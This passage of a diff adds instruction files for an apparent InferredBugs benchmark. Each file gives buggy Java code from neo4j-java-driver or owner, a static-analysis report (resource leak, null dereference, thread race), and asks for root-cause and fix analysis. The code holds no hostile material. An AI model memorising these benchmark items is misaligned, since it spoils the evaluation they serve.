+    public void checkServerTrusted( X509Certificate[] chain, String authType )
+            throws CertificateException
+    {
+        X509Certificate certificate = chain[0];
+
+        String cert = fingerprint( certificate );
+
+        if ( this.fingerprint == null )
+        {
+            try
+            {
+                saveTrustedHost( cert );
+            }
+            catch ( IOException e )
+            {
+                throw new CertificateException( format(
+                        "Failed to save the server ID and the certificate received from the server to file %s.\n" +
+                        "Server ID: %s\nReceived cert:\n%s",
+                        knownHosts.getAbsolutePath(), serverId, X509CertToString( cert ) ), e );
+            }
+        }
+        else
+        {
+            if ( !this.fingerprint.equals( cert ) )
+            {
+                throw new CertificateException( format(
+                        "Unable to connect to neo4j at `%s`, because the certificate the server uses has changed. " +
+                        "This is a security feature to protect against man-in-the-middle attacks.\n" +
+                        "If you trust the certificate the server uses now, simply remove the line that starts with " +
+                        "`%s` " +
+                        "in the file `%s`.\n" +
+                        "The old certificate saved in file is:\n%sThe New certificate received is:\n%s",
+                        serverId, serverId, knownHosts.getAbsolutePath(),
+                        X509CertToString( this.fingerprint ), X509CertToString( cert ) ) );
+            }
+        }
+    }
+
+    /**
+     * Calculate the certificate fingerprint - simply the SHA-512 hash of the DER-encoded certificate.
+     */
+    public static String fingerprint( X509Certificate cert ) throws CertificateException
+    {
+        try
+        {
+            MessageDigest md = MessageDigest.getInstance( "SHA-512" );
+            md.update( cert.getEncoded() );
+            return ByteBufUtil.hexDump( md.digest() );
+        }
+        catch( NoSuchAlgorithmException e )
+        {
+            // SHA-1 not available
+            throw new CertificateException( "Cannot use TLS on this platform, because SHA-512 message digest algorithm is not available: " + e.getMessage(), e );
+        }
+    }
+
+    private File createKnownCertFileIfNotExists() throws IOException
+    {
+        if ( !knownHosts.exists() )
+        {
+            File parentDir = knownHosts.getParentFile();
+            try
+            {
+                if ( parentDir != null && !parentDir.exists() )
+                {
+                    if ( !parentDir.mkdirs() )
+                    {
+                        throw new IOException( "Failed to create directories for the known hosts file in " + knownHosts.getAbsolutePath() +
+                                               ". This is usually because you do not have write permissions to the directory. " +
+                                               "Try configuring the Neo4j driver to use a file system location you do have write permissions to." );
+                    }
+                }
+                if ( !knownHosts.createNewFile() )
+                {
+                    throw new IOException( "Failed to create a known hosts file at " + knownHosts.getAbsolutePath() +
+                                           ". This is usually because you do not have write permissions to the directory. " +
+                                           "Try configuring the Neo4j driver to use a file system location you do have write permissions to." );
+                }
+            }
+            catch( SecurityException e )
+            {
+                throw new IOException( "Failed to create known host file and/or parent directories at " + knownHosts.getAbsolutePath() +
+                                       ". This is usually because you do not have write permission to the directory. " +
+                                       "Try configuring the Neo4j driver to use a file location you have write permissions to." );
+            }
+            BufferedWriter writer = new BufferedWriter( new FileWriter( knownHosts ) );
+            writer.write( "# This file contains trusted certificates for Neo4j servers, it's created by Neo4j drivers." );
+            writer.newLine();
+            writer.write( "# You can configure the location of this file in `org.neo4j.driver.Config`" );
+            writer.newLine();
+            writer.close();
+        }
+
+        return knownHosts;
+    }
+
+    /**
+     * No issuer is trusted.
+     */
+    public X509Certificate[] getAcceptedIssuers()
+    {
+        return new X509Certificate[0];
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedWriter` acquired to `writer` by call to `new()` at line 116 is not released after line 120.
+**Note**: potential exception at line 117
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TrustOnFirstUseTrustManager.saveTrustedHost(String)
+
+### Procedure Id:
+org.neo4j.driver.internal.security.TrustOnFirstUseTrustManager.saveTrustedHost(java.lang.String):voi.e51ac6caead060ee31e5fead3ff9e453
+
+### File:
+driver/src/main/java/org/neo4j/driver/internal/security/TrustOnFirstUseTrustManager.java
+
+### Key:
+TrustOnFirstUseTrustManager.java|saveTrustedHost|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+e8365d58c5c8e016094dc2ec161454b8
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4904/instruction.md b/inferredbugs-4904/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..82b8e523abc0b994d23609aa0c644cca28a8d43d
--- /dev/null
+++ b/inferredbugs-4904/instruction.md
@@ -0,0 +1,270 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-java-driver
+**Bug ID:** 48
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2019 "Neo4j,"
+ * Neo4j Sweden AB [http://neo4j.com]
+ *
+ * This file is part of Neo4j.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.neo4j.driver.integration;
+
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.RegisterExtension;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+import org.neo4j.driver.internal.util.ServerVersion;
+import org.neo4j.driver.StatementResult;
+import org.neo4j.driver.Value;
+import org.neo4j.driver.Values;
+import org.neo4j.driver.summary.Notification;
+import org.neo4j.driver.summary.Plan;
+import org.neo4j.driver.summary.ProfiledPlan;
+import org.neo4j.driver.summary.ResultSummary;
+import org.neo4j.driver.summary.StatementType;
+import org.neo4j.driver.util.ParallelizableIT;
+import org.neo4j.driver.util.SessionExtension;
+
+import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.junit.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.neo4j.driver.internal.util.Neo4jFeature.STATEMENT_RESULT_TIMINGS;
+
+@ParallelizableIT
+class SummaryIT
+{
+    @RegisterExtension
+    static final SessionExtension session = new SessionExtension();
+
+    @Test
+    void shouldContainBasicMetadata()
+    {
+        // Given
+        Value statementParameters = Values.parameters( "limit", 10 );
+        String statementText = "UNWIND [1, 2, 3, 4] AS n RETURN n AS number LIMIT {limit}";
+
+        // When
+        StatementResult result = session.run( statementText, statementParameters );
+
+        // Then
+        assertTrue( result.hasNext() );
+
+        // When
+        ResultSummary summary = result.consume();
+
+        // Then
+        assertFalse( result.hasNext() );
+        assertThat( summary.statementType(), equalTo( StatementType.READ_ONLY ) );
+        assertThat( summary.statement().text(), equalTo( statementText ) );
+        assertThat( summary.statement().parameters(), equalTo( statementParameters ) );
+        assertFalse( summary.hasPlan() );
+        assertFalse( summary.hasProfile() );
+        assertThat( summary, equalTo( result.consume() ) );
+
+    }
+
+    @Test
+    void shouldContainTimeInformation()
+    {
+        // Given
+        ResultSummary summary = session.run( "UNWIND range(1,1000) AS n RETURN n AS number" ).consume();
+
+        // Then
+        ServerVersion serverVersion = ServerVersion.version( summary.server().version() );
+        if ( STATEMENT_RESULT_TIMINGS.availableIn( serverVersion ) )
+        {
+            assertThat( summary.resultAvailableAfter( TimeUnit.MILLISECONDS ), greaterThanOrEqualTo( 0L ) );
+            assertThat( summary.resultConsumedAfter( TimeUnit.MILLISECONDS ), greaterThanOrEqualTo( 0L ) );
+        }
+        else
+        {
+            //Not passed through by older versions of the server
+            assertThat( summary.resultAvailableAfter( TimeUnit.MILLISECONDS ), equalTo( -1L ) );
+            assertThat( summary.resultConsumedAfter( TimeUnit.MILLISECONDS ), equalTo( -1L ) );
+        }
+    }
+
+    @Test
+    void shouldContainCorrectStatistics()
+    {
+        assertThat( session.run( "CREATE (n)" ).consume().counters().nodesCreated(), equalTo( 1 ) );
+        assertThat( session.run( "MATCH (n) DELETE (n)" ).consume().counters().nodesDeleted(), equalTo( 1 ) );
+
+        assertThat( session.run( "CREATE ()-[:KNOWS]->()" ).consume().counters().relationshipsCreated(), equalTo( 1 ) );
+        assertThat( session.run( "MATCH ()-[r:KNOWS]->() DELETE r" ).consume().counters().relationshipsDeleted(), equalTo( 1 ) );
+
+        assertThat( session.run( "CREATE (n:ALabel)" ).consume().counters().labelsAdded(), equalTo( 1 ) );
+        assertThat( session.run( "CREATE (n {magic: 42})" ).consume().counters().propertiesSet(), equalTo( 1 ) );
+        assertTrue( session.run( "CREATE (n {magic: 42})" ).consume().counters().containsUpdates() );
+        assertThat( session.run( "MATCH (n:ALabel) REMOVE n:ALabel " ).consume().counters().labelsRemoved(), equalTo( 1 ) );
+
+        assertThat( session.run( "CREATE INDEX ON :ALabel(prop)" ).consume().counters().indexesAdded(), equalTo( 1 ) );
+        assertThat( session.run( "DROP INDEX ON :ALabel(prop)" ).consume().counters().indexesRemoved(), equalTo( 1 ) );
+
+        assertThat( session.run( "CREATE CONSTRAINT ON (book:Book) ASSERT book.isbn IS UNIQUE" )
+                .consume().counters().constraintsAdded(), equalTo( 1 ) );
+        assertThat( session.run( "DROP CONSTRAINT ON (book:Book) ASSERT book.isbn IS UNIQUE" )
+                .consume().counters().constraintsRemoved(), equalTo( 1 ) );
+    }
+
+    @Test
+    void shouldContainCorrectStatementType()
+    {
+        assertThat( session.run("MATCH (n) RETURN 1").consume().statementType(), equalTo( StatementType.READ_ONLY ));
+        assertThat( session.run("CREATE (n)").consume().statementType(), equalTo( StatementType.WRITE_ONLY ));
+        assertThat( session.run("CREATE (n) RETURN (n)").consume().statementType(), equalTo( StatementType.READ_WRITE ));
+        assertThat( session.run("CREATE INDEX ON :User(p)").consume().statementType(), equalTo( StatementType.SCHEMA_WRITE ));
+    }
+
+    @Test
+    void shouldContainCorrectPlan()
+    {
+        // When
+        ResultSummary summary = session.run( "EXPLAIN MATCH (n) RETURN 1" ).consume();
+
+        // Then
+        assertTrue( summary.hasPlan() );
+
+        Plan plan = summary.plan();
+        assertThat( plan.operatorType(), notNullValue() );
+        assertThat( plan.identifiers().size(), greaterThan( 0 ) );
+        assertThat( plan.arguments().size(), greaterThan( 0 ) );
+        assertThat( plan.children().size(), greaterThan( 0 ) );
+    }
+
+    @Test
+    void shouldContainProfile()
+    {
+        // When
+        ResultSummary summary = session.run( "PROFILE RETURN 1" ).consume();
+
+        // Then
+        assertTrue( summary.hasProfile() );
+        assertTrue( summary.hasPlan() ); // Profile is a superset of plan, so plan should be available as well if profile is available
+        assertEquals( summary.plan(), summary.profile() );
+
+        ProfiledPlan profile = summary.profile();
+
+        assertEquals( 0, profile.dbHits() );
+        assertEquals( 1, profile.records() );
+    }
+
+    @Test
+    void shouldContainNotifications()
+    {
+        // When
+        ResultSummary summary = session.run( "EXPLAIN MATCH (n), (m) RETURN n, m" ).consume();
+
+        // Then
+        List<Notification> notifications = summary.notifications();
+        assertNotNull( notifications );
+        assertThat( notifications.size(), equalTo( 1 ) );
+        Notification notification = notifications.get( 0 );
+        assertThat( notification.code(), notNullValue() );
+        assertThat( notification.title(), notNullValue() );
+        assertThat( notification.description(), notNullValue() );
+        assertThat( notification.severity(), notNullValue() );
+        assertThat( notification.position(), notNullValue() );
+    }
+
+    @Test
+    void shouldContainNoNotifications() throws Throwable
+    {
+        // When
+        ResultSummary summary = session.run( "RETURN 1" ).consume();
+
+        // Then
+        assertThat( summary.notifications().size(), equalTo( 0 ) );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `serverVersion.product` last assigned on line 90 could be null and is dereferenced by call to `availableIn(...)` at line 91.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SummaryIT.shouldContainTimeInformation()
+
+### Procedure Id:
+org.neo4j.driver.integration.SummaryIT.shouldContainTimeInformation():void.9a612248867377bb25bdfeb36396e1c2
+
+### File:
+driver/src/test/java/org/neo4j/driver/integration/SummaryIT.java
+
+### Key:
+SummaryIT.java|shouldContainTimeInformation|NULL_DEREFERENCE
+
+### Node Key:
+47cad7001b4f0ad29a14d042d789646c
+
+### Hash:
+1ed9261622f4707a9703d4ad70f217e4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4905/instruction.md b/inferredbugs-4905/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c9e9eb0070375bc4874e4e4a1d82f55c4216a52b
--- /dev/null
+++ b/inferredbugs-4905/instruction.md
@@ -0,0 +1,341 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-java-driver
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2002-2016 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This file is part of Neo4j.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.neo4j.driver.v1.integration;
+
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.nio.channels.SocketChannel;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.SSLHandshakeException;
+
+import org.neo4j.driver.internal.connector.socket.TLSSocketChannel;
+import org.neo4j.driver.v1.Logger;
+import org.neo4j.driver.internal.util.CertificateTool;
+import org.neo4j.driver.v1.Config;
+import org.neo4j.driver.v1.Driver;
+import org.neo4j.driver.v1.GraphDatabase;
+import org.neo4j.driver.v1.StatementResult;
+import org.neo4j.driver.v1.util.CertificateToolTest;
+import org.neo4j.driver.v1.util.Neo4jRunner;
+import org.neo4j.driver.v1.util.Neo4jSettings;
+import org.neo4j.driver.v1.util.TestNeo4j;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.neo4j.driver.internal.connector.socket.TrustOnFirstUseTrustManager.fingerprint;
+
+public class TLSSocketChannelIT
+{
+    @Rule
+    public TestNeo4j neo4j = new TestNeo4j();
+
+    @Rule
+    public TemporaryFolder folder = new TemporaryFolder(  );
+
+    @BeforeClass
+    public static void setup() throws IOException, InterruptedException
+    {
+        /* uncomment for JSSE debugging info */
+//         System.setProperty( "javax.net.debug", "all" );
+    }
+
+    @Test
+    public void shouldPerformTLSHandshakeWithEmptyKnownCertsFile() throws Throwable
+    {
+        File knownCerts = File.createTempFile( "neo4j_known_hosts", ".tmp" );
+        knownCerts.deleteOnExit();
+
+        performTLSHandshakeUsingKnownCerts( knownCerts );
+    }
+
+    private void performTLSHandshakeUsingKnownCerts( File knownCerts ) throws Throwable
+    {
+        // Given
+        Logger logger = mock( Logger.class );
+        SocketChannel channel = SocketChannel.open();
+        channel.connect( new InetSocketAddress( "localhost", 7687 ) );
+
+        // When
+        TLSSocketChannel sslChannel =
+                new TLSSocketChannel( "localhost", 7687, channel, logger, Config.TrustStrategy.trustOnFirstUse( knownCerts ) );
+        sslChannel.close();
+
+        // Then
+        verify( logger, atLeastOnce() ).debug( "TLS connection closed" );
+    }
+
+    @Test
+    public void shouldPerformTLSHandshakeWithTrustedCert() throws Throwable
+    {
+        try
+        {
+            // Given
+            // Create root certificate
+            File rootCert = folder.newFile( "temp_root_cert.cert" );
+            File rootKey = folder.newFile( "temp_root_key.key" );
+
+            CertificateToolTest.SelfSignedCertificateGenerator
+                    certGenerator = new CertificateToolTest.SelfSignedCertificateGenerator();
+            certGenerator.saveSelfSignedCertificate( rootCert );
+            certGenerator.savePrivateKey( rootKey );
+
+            // Generate certificate signing request and get a certificate signed by the root private key
+            File cert = folder.newFile( "temp_cert.cert" );
+            File key = folder.newFile( "temp_key.key" );
+            CertificateToolTest.CertificateSigningRequestGenerator
+                    csrGenerator = new CertificateToolTest.CertificateSigningRequestGenerator();
+            X509Certificate signedCert = certGenerator.sign(
+                    csrGenerator.certificateSigningRequest(), csrGenerator.publicKey() );
+            csrGenerator.savePrivateKey( key );
+            CertificateTool.saveX509Cert( signedCert, cert );
+
+            // Give the server certs to database
+            neo4j.updateEncryptionKeyAndCert( key, cert );
+
+            Logger logger = mock( Logger.class );
+            SocketChannel channel = SocketChannel.open();
+            channel.connect( new InetSocketAddress( "localhost", 7687 ) );
+
+            // When
+            TLSSocketChannel sslChannel =
+                    new TLSSocketChannel( "localhost", 7687, channel, logger,
+                            Config.TrustStrategy.trustSignedBy( rootCert ) );
+            sslChannel.close();
+
+            // Then
+            verify( logger, atLeastOnce() ).debug( "TLS connection closed" );
+        }
+        finally
+        {
+            // always restore the db default settings
+            neo4j.restart();
+        }
+    }
+
+    @Test
+    public void shouldFailTLSHandshakeDueToWrongCertInKnownCertsFile() throws Throwable
+    {
+        // Given
+        SocketChannel channel = SocketChannel.open();
+        channel.connect( new InetSocketAddress( "localhost", 7687 ) );
+        File knownCerts = File.createTempFile( "neo4j_known_hosts", ".tmp" );
+        knownCerts.deleteOnExit();
+
+        //create a Fake Cert for the server in knownCert
+        createFakeServerCertPairInKnownCerts( "localhost", 7687, knownCerts );
+
+        // When & Then
+        TLSSocketChannel sslChannel = null;
+        try
+        {
+            sslChannel = new TLSSocketChannel( "localhost", 7687, channel, mock( Logger.class ),
+                    Config.TrustStrategy.trustOnFirstUse( knownCerts ) );
+            sslChannel.close();
+        }
+        catch ( SSLHandshakeException e )
+        {
+            assertEquals( "General SSLEngine problem", e.getMessage() );
+            assertEquals( "General SSLEngine problem", e.getCause().getMessage() );
+            assertTrue( e.getCause().getCause().getMessage().contains(
+                    "If you trust the certificate the server uses now, simply remove the line that starts with" ) );
+        }
+        finally
+        {
+            if ( sslChannel != null )
+            {
+                sslChannel.close();
+            }
+        }
+    }
+
+    private void createFakeServerCertPairInKnownCerts( String host, int port, File knownCerts )
+            throws Throwable
+    {
+        String ip = InetAddress.getByName( host ).getHostAddress(); // localhost -> 127.0.0.1
+        String serverId = ip + ":" + port;
+
+        X509Certificate cert = CertificateToolTest.generateSelfSignedCertificate();
+        String certStr = fingerprint(cert);
+
+        BufferedWriter writer = new BufferedWriter( new FileWriter( knownCerts, true ) );
+        writer.write( serverId + "," + certStr );
+        writer.newLine();
+        writer.close();
+    }
+
+    @Test
+    public void shouldFailTLSHandshakeDueToServerCertNotSignedByKnownCA() throws Throwable
+    {
+        // Given
+        neo4j.restart(
+                Neo4jSettings.TEST_SETTINGS.updateWith(
+                        Neo4jSettings.CERT_DIR,
+                        folder.getRoot().getAbsolutePath().replace("\\", "/") ) );
+        SocketChannel channel = SocketChannel.open();
+        channel.connect( new InetSocketAddress( "localhost", 7687 ) );
+        File trustedCertFile = folder.newFile( "neo4j_trusted_cert.tmp" );
+        X509Certificate aRandomCert = CertificateToolTest.generateSelfSignedCertificate();
+        CertificateTool.saveX509Cert( aRandomCert, trustedCertFile );
+
+        // When & Then
+        TLSSocketChannel sslChannel = null;
+        try
+        {
+            sslChannel = new TLSSocketChannel( "localhost", 7687, channel, mock( Logger.class ),
+                    Config.TrustStrategy.trustSignedBy( trustedCertFile ) );
+            sslChannel.close();
+        }
+        catch ( SSLHandshakeException e )
+        {
+            assertEquals( "General SSLEngine problem", e.getMessage() );
+            assertEquals( "General SSLEngine problem", e.getCause().getMessage() );
+            assertEquals( "No trusted certificate found", e.getCause().getCause().getMessage() );
+        }
+        finally
+        {
+            if ( sslChannel != null )
+            {
+                sslChannel.close();
+            }
+        }
+    }
+
+    @Test
+    public void shouldPerformTLSHandshakeWithTheSameTrustedServerCert() throws Throwable
+    {
+
+        Logger logger = mock( Logger.class );
+        SocketChannel channel = SocketChannel.open();
+        channel.connect( new InetSocketAddress( "localhost", 7687 ) );
+
+        // When
+        TLSSocketChannel sslChannel = new TLSSocketChannel( "localhost", 7687, channel, logger,
+                Config.TrustStrategy.trustSignedBy(
+                       Neo4jSettings.DEFAULT_TLS_CERT_FILE ) );
+        sslChannel.close();
+
+        // Then
+        verify( logger, atLeastOnce() ).debug( "TLS connection closed" );
+    }
+
+    @Test
+    public void shouldEstablishTLSConnection() throws Throwable
+    {
+
+        Config config = Config.build().withEncryptionLevel( Config.EncryptionLevel.REQUIRED ).toConfig();
+
+        Driver driver = GraphDatabase.driver(
+                URI.create( Neo4jRunner.DEFAULT_URL ),
+                config );
+
+        StatementResult result = driver.session().run( "RETURN 1" );
+        assertEquals( 1, result.next().get( 0 ).asInt() );
+        assertFalse( result.hasNext() );
+
+        driver.close();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.neo4j.driver.internal.InternalSession` acquired by call to `session()` at line 261 is not released after line 261.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TLSSocketChannelIT.shouldEstablishTLSConnection()
+
+### Procedure Id:
+org.neo4j.driver.v1.integration.TLSSocketChannelIT.shouldEstablishTLSConnection():void.bdee60710ff515cce40c7666fb67702f
+
+### File:
+driver/src/test/java/org/neo4j/driver/v1/integration/TLSSocketChannelIT.java
+
+### Key:
+TLSSocketChannelIT.java|shouldEstablishTLSConnection|RESOURCE_LEAK
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+425c6c9ef4df15cd30162cc94b4d707c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4932/instruction.md b/inferredbugs-4932/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f1333c9c26179d970c902d31c372cb8688a17432
--- /dev/null
+++ b/inferredbugs-4932/instruction.md
@@ -0,0 +1,209 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** owner
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2013, Luigi R. Viggiano
+ * All rights reserved.
+ *
+ * This software is distributable under the BSD license.
+ * See the terms of the BSD license in the documentation provided with this software.
+ */
+
+package org.aeonbits.owner.multithread;
+
+import org.aeonbits.owner.Config;
+import org.aeonbits.owner.Config.Sources;
+import org.aeonbits.owner.ConfigFactory;
+import org.aeonbits.owner.Reloadable;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.io.File;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.Properties;
+
+import static org.aeonbits.owner.UtilTest.newArray;
+import static org.aeonbits.owner.UtilTest.save;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * @author Luigi R. Viggiano
+ */
+public class MultiThreadReloadTest extends MultiThreadTestBase {
+    private static final String spec = "file:target/test-resources/ReloadableConfig.properties";
+    private static File target;
+    private ReloadableConfig reloadableConfig;
+
+    @BeforeClass
+    public static void beforeClass() throws MalformedURLException {
+        target = new File(new URL(spec).getFile());
+    }
+
+    @Before
+    public void before() throws Throwable {
+        synchronized (target) {
+            save(target, new Properties() {{
+                setProperty("someValue", "10");
+            }});
+
+            reloadableConfig = ConfigFactory.create(ReloadableConfig.class);
+        }
+    }
+
+    @Sources(spec)
+    public interface ReloadableConfig extends Config, Reloadable {
+        Integer someValue();
+    }
+
+    @Test
+    public void multiThreadedReloadTest() throws Throwable {
+        Object lock = new Object();
+
+        ReaderThread[] readers = newArray(20, new ReaderThread(reloadableConfig, lock, 100));
+        WriterThread[] writers = newArray(5, new WriterThread(reloadableConfig, lock, 70));
+
+        start(readers, writers);
+
+        synchronized (lock) {
+            lock.notifyAll();
+        }
+
+        join(readers, writers);
+
+        assertNoErrors(readers, writers);
+    }
+
+    private class ReaderThread extends ThreadBase<ReloadableConfig> {
+        ReaderThread(ReloadableConfig cfg, Object lock, int loops) {
+            super(cfg, lock, loops);
+        }
+
+        @Override
+        void execute() throws Throwable {
+            yield();
+            Integer value = cfg.someValue();
+            assertNotNull(value);
+            assertTrue(value == 10 || value == 20);
+        }
+
+        @Override
+        public Object clone() throws CloneNotSupportedException {
+            return new ReaderThread(cfg, lock, loops);
+        }
+    }
+
+    private class WriterThread extends ThreadBase<ReloadableConfig> {
+        public WriterThread(ReloadableConfig cfg, Object lock, int loops) {
+            super(cfg, lock, loops);
+        }
+
+        @Override
+        void execute() throws Throwable {
+            synchronized (target) {
+                save(target, new Properties() {{
+                    setProperty("someValue", "20");
+                }});
+
+                cfg.reload();
+            }
+            yield();
+
+            synchronized (target) {
+                save(target, new Properties() {{
+                    setProperty("someValue", "10");
+                }});
+
+                cfg.reload();
+            }
+            yield();
+        }
+
+        @Override
+        public Object clone() throws CloneNotSupportedException {
+            return new WriterThread(cfg, lock, loops);
+        }
+    }
+
+    @After
+    public void after() throws Throwable {
+        synchronized (target) {
+            target.delete();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.aeonbits.owner.multithread.MultiThreadReloadTest.multiThreadedReloadTest` reads without synchronization from `this.org.aeonbits.owner.multithread.MultiThreadReloadTest.reloadableConfig`. Potentially races with write in method `MultiThreadReloadTest.before()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MultiThreadReloadTest.multiThreadedReloadTest()
+
+### Procedure Id:
+org.aeonbits.owner.multithread.MultiThreadReloadTest.multiThreadedReloadTest():void.2bd1c61f6d00ca06452b5388a50c6282
+
+### File:
+src/test/java/org/aeonbits/owner/multithread/MultiThreadReloadTest.java
+
+### Key:
+MultiThreadReloadTest.java|multiThreadedReloadTest|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0a0d5d19c05220bdf1927126869453db
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4933/instruction.md b/inferredbugs-4933/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..580ba79f57d3174aee78a487d1c7de59db088fa6
--- /dev/null
+++ b/inferredbugs-4933/instruction.md
@@ -0,0 +1,276 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** owner
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2013, Luigi R. Viggiano
